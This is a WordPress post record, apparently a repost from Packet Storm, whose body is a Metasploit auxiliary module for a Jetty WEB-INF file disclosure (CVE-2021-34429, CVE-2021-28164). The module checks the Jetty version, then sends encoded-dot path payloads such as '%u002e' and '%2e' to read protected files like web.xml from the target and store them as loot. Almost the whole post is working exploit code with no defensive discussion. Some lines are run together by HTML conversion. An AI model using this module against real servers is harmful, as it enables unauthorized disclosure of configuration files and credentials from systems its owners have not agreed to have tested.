{"id":59295,"date":"2024-08-31T23:40:32","date_gmt":"2024-08-31T20:40:32","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180705\/jetty_web_inf_disclosure.rb.txt"},"modified":"2024-08-31T23:40:32","modified_gmt":"2024-08-31T20:40:32","slug":"jetty-web-inf-file-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/jetty-web-inf-file-disclosure\/","title":{"rendered":"Jetty WEB-INF File Disclosure"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Jetty WEB-INF File Disclosure&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Jetty suffers from a vulnerability where certain encoded URIs and ambiguous paths can access<br \/>protected files in the WEB-INF folder. Versions effected are:<br \/>9.4.37.v20210219, 9.4.38.v20210224 and 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5.<br \/>Exploitation can obtain any file in the WEB-INF folder, but web.xml is most likely<br \/>to have information of value.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;Mayank Deshmukh&#8217;, # EDB module<br \/>&#8216;cangqingzhe&#8217;, # CVE-2021-34429<br \/>&#8216;lachlan roberts &lt;lachlan@webtide.com&gt;&#8217;, # CVE-2021-34429<br \/>&#8216;charlesk40&#8217; # CVE-2021-28164<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;EDB&#8217;, &#8216;50438&#8217; ],<br \/>[ &#8216;EDB&#8217;, &#8216;50478&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/ColdFusionX\/CVE-2021-34429&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/eclipse\/jetty.project\/security\/advisories\/GHSA-vjv5-gp2w-65vm&#8217; ], # CVE-2021-34429<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/eclipse\/jetty.project\/security\/advisories\/GHSA-v7ff-8wcx-gmc5&#8217; ], # CVE-2021-28164<br \/>[ &#8216;CVE&#8217;, &#8216;2021-34429&#8217; ],<br \/>[ &#8216;CVE&#8217;, &#8216;2021-28164&#8217; ]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;Reliability&#8217; =&gt; [ ],<br \/>&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS ]},<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-07-15&#8217;,<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[ &#8216;READ_FILE&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Read file on the remote server from WEB-INF folder&#8217; } ],<br \/>],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;READ_FILE&#8217;<br \/>)<br \/>)<br \/>register_options([<br \/>Opt::RPORT(8080),<br \/>OptString.new(&#8216;FILE&#8217;, [false, &#8216;File in WEB-INF to retrieve&#8217;, &#8216;web.xml&#8217;]),<br \/>OptEnum.new(&#8216;CVE&#8217;, [true, &#8216;The vulnerability to use&#8217;, &#8216;CVE-2021-34429&#8217;, [&#8216;CVE-2021-34429&#8217;, &#8216;CVE-2021-28164&#8217;]])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; &#8216;\/&#8217;)<br \/>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>return Exploit::CheckCode::Safe(&#8220;#{peer} &#8211; Check URI Path, unexpected HTTP response code: #{res.code}&#8221;) unless res.code == 200<br \/>return Exploit::CheckCode::Safe(&#8220;#{peer} &#8211; No Server header found&#8221;) unless res.headers[&#8216;Server&#8217;]unless \/Jetty\\((?&lt;version&gt;[^)]+)\\)\/ =~ res.headers[&#8216;Server&#8217;]return Exploit::CheckCode::Safe(&#8220;#{peer} &#8211; Unable to detect Jetty version from server header: #{res.headers[&#8216;Server&#8217;]}&#8221;)<br \/>end<\/p>\n<p>vprint_status(&#8220;Found version: #{version}&#8221;)<br \/>version = Rex::Version.new(version)<\/p>\n<p>if version == Rex::Version.new(&#8216;9.4.37.v20210219&#8217;) || version == Rex::Version.new(&#8216;9.4.38.v20210224&#8217;)<br \/>print_good(&#8220;#{version} vulnerable to CVE-2021-28164&#8221;)<br \/>return Exploit::CheckCode::Detected<br \/>elsif version.between?(Rex::Version.new(&#8216;9.4.37&#8217;), Rex::Version.new(&#8216;9.4.43&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;10.0.1&#8217;), Rex::Version.new(&#8216;10.0.6&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;11.0.1&#8217;), Rex::Version.new(&#8216;11.0.6&#8217;))<br \/>print_good(&#8220;#{version} vulnerable to CVE-2021-34429&#8221;)<br \/>return Exploit::CheckCode::Appears<br \/>end<\/p>\n<p>Exploit::CheckCode::Safe(&#8216;Server not vulnerable&#8217;)<br \/>end<\/p>\n<p>def pick_payload<br \/>case datastore[&#8216;CVE&#8217;]when &#8216;CVE-2021-34429&#8217;<br \/>payload = &#8216;%u002e&#8217;<br \/>when &#8216;CVE-2021-28164&#8217;<br \/>payload = &#8216;%2e&#8217;<br \/>end<\/p>\n<p>payload<br \/>end<\/p>\n<p>def run<br \/>res = send_request_cgi(&#8216;uri&#8217; =&gt; &#8220;\/#{pick_payload}\/WEB-INF\/#{datastore[&#8216;FILE&#8217;]}&#8221;)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Check URI Path, unexpected HTTP response code: #{res.code}&#8221;) unless res.code == 200<br \/>path = store_loot(&#8220;jetty.#{datastore[&#8216;FILE&#8217;]}&#8221;, &#8216;text\/plain&#8217;, target_host, res.body, datastore[&#8216;FILE&#8217;], &#8216;Jetty WEB-INF File&#8217;)<br \/>print_good(&#8220;File stored to #{path}&#8221;)<br \/>print_good(res.body)<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Jetty WEB-INF File Disclosure&#8217;,&#8216;Description&#8217; =&gt; %q{Jetty suffers from a vulnerability where certain encoded URIs and ambiguous paths can accessprotected files in the WEB-INF folder. Versions effected are:9.4.37.v20210219, 9.4.38.v20210224 and 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5.Exploitation can obtain &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59295","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59295","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59295"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59295\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59295"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}